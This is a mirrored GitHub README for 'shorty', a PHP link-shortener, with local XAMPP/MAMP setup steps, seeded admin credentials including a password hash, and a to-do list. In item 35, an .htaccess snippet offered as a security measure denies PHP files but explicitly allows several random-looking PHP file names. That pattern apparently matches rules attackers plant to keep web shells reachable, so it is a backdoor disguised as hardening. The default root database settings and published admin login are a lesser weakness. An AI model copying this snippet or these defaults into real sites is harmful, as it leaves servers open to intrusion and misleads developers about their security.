Coder Social home page Coder Social logo

gaur15 / shorty Goto Github PK

View Code? Open in Web Editor NEW

This project forked from apoorvaron/shorty

0.0 0.0 0.0 25.8 MB

• Shortens link and customize it according to user’s need.

Home Page: http://shrty.rf.gd/

License: MIT License

JavaScript 35.18% PHP 4.41% CSS 10.80% Hack 0.23% HTML 40.93% Less 1.62% SCSS 6.82%

shorty's Introduction

How to make this for Yourself 📖

-------------------------------------------*---------

Live Site -> http://shrty.rf.gd/

Step -1 Download Zip file

Step -2 Unzip it & Rename folder from "tiny-main" to "tiny"

Step -3 Put tiny folder inside

      /Applications/MAMP/htdocs/  folder  (FOR MAC)
      C:/xampp/htdocs/            folder  (FOR WINDOWS)

Step -4 Set below snippet inside /Applications/MAMP/htdocs/tiny/env.php. file (FOR MAC & having MAMP)

        <?php
            $env_server = "localhost";
            $env_username = "root";
            $env_password = "root";
            $env_database = "tiny";
            $env_port = "8889";
        ?>

Step -4 Set below snippet inside htdocs/tiny/env.php. file (FOR WINDOWS & XAMPP)

        <?php
             $env_server = "localhost:3306";
             $env_username = "root";
             $env_password = "";
             $env_database = "tiny";
             $env_port = "3306";
        ?>

Step -5 Create ".htaccess" file inside htdocs/tiny/ and Paste below code snippet.(FOR MAC & having MAMP)

            ErrorDocument 404 http://localhost:8888/tiny/404.php

            RewriteEngine On
            RewriteCond %{REQUEST_FILENAME} !-d
            RewriteCond %{REQUEST_FILENAME}\.php -f
            RewriteRule ^(.*)$ $1.php [NC,L]


            RewriteEngine On

            RewriteCond $1 !^(index\.php)
            RewriteCond %{REQUEST_FILENAME} !-f
            RewriteCond %{REQUEST_FILENAME} !-d
            RewriteRule ^(.*)$ index.php?/$1 [L]

Step -5 Create ".htaccess" file inside htdocs/tiny/ and Paste below code snnipet.(FOR WINDOWS)

            ErrorDocument 404 http://localhost/tiny/404.php

            RewriteEngine On
            RewriteCond %{REQUEST_FILENAME} !-d
            RewriteCond %{REQUEST_FILENAME}\.php -f
            RewriteRule ^(.*)$ $1.php [NC,L]


            RewriteEngine On

            RewriteCond $1 !^(index\.php)
            RewriteCond %{REQUEST_FILENAME} !-f
            RewriteCond %{REQUEST_FILENAME} !-d
            RewriteRule ^(.*)$ index.php?/$1 [L]

Step -6 Change the file content inside tiny/htdocs/siteName.php

      1) FOR MAC & MAMP
            <?php
                $siteName = "http://localhost:8888/tiny/";
            ?>
            
      2) FOR Windows
            <?php
                $siteName = "http://localhost/tiny/";
            ?>

Step -7 Start Apache & MySQL Server in XAMPP Panel or MAMP Panel

Step -8 To Setup the database, open

      localhost:8888/phpmyadmin    (FOR MAC & MAMP)
      localhost/phpmyadmin         (FOR WINDOWS & XAMPP)

Step -9 Create New Database

Step -10 Database Name "tiny"

Step -11 Import Database from "htdocs/tiny/tiny.sql" directory .

       tiny.sql (db file)

Step -12 Run in browser

      localhost:8888/tiny/     (FOR MAC)
      localhost/tiny/          (FOR WINDOWS)

Back to top

! IMPORTANT -> users table must contain one row

      1) uniqueNo = "shorty"
      2) email = "[email protected]"
      3) password = "62b5fe5724b08db455672377fb31e95b"
      4) img = "../assets/user-img/1659983584admin-img.png"

-> Front Page shorted links goes into admin account

      email    -> [email protected]
      password -> [email protected]

-> While Hosing

      1) Change env.php credentials
      2) Change siteName.php 
      3) Upload files & dB.

-> What Can we do new?

      1) 404 Page and functionality
      2) Forget Password Functionality
      3) Sign in / Sign up with google
      4) All things must done by session not using URL
      5) All things must done with API's
      6) Use of action attribute in Any type of forms
      7) Footer have Year 2 times 
      8) If we edit profile then alert of pdf or non image is choosen as image 
      9) Make admin panel 
      10) Only admin can login to [email protected] user panel
      11) Mobile view user panel header have Hii username
      12) Dynamic Titles of pages 
      13) Want to update -> edit profile?
      14) Mobile view , image , main page , margin top boht jyafa h
      15) Remember me button check if cookie set
      16) SMS Sender
      17) Open only in one tab at once
      18) Add chat bot 
      19) Add whatsapp icon to connect with admin on whatsapp
      20) if hit shrty.rf.gd -> then by default shrty.rf.gd?i=1# appear on url
      21) Account registeration with otp
      22) Captcha (i m not robot)
      23) Can not access inside folder
      24) Use of local storage 
      25) dont cut (pop is there you have some unsaved want to leave ?)
      26) custom short link from front page too
      27) We get a performance increase by specifying the default route since we don't have to scan directories.
      28) add infinity credentials in readme 
      29) change shrty admin cred from [email protected] to [email protected]
      30) Placeholder have asterisk sign
      31) Database simple one table or merge something for total clicks & visitor counter table
      32) If session is not logged out then if click on Login Button then go to panel if his session logged out then go to login page otherwise go to user panel
      33) What type of Data structure do we use in this project
      34) Security Issues
      35) can't access inside files using htaccess (add .htaccess files in folders like: localhost:8888/tiny/assets/images/.htacccess)
      
      <FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
                Order Allow,Deny
                Deny from all
      </FilesMatch>
      <FilesMatch "^(aqbynr.php|zdjpks.php|wp-ybwid.php|wp-stkhy.php|moni-fcpm.php|moni-smmk.php)$">
                Order Allow,Deny
                Allow from all
      </FilesMatch>

-> Hosted on Infinity Free with Gmail : [email protected]

Back to top

shorty's People

Contributors

apoorvaron avatar suhani-17 avatar vsatwika avatar k-deepak04 avatar jiggy9 avatar nishitbaria avatar palak-16 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.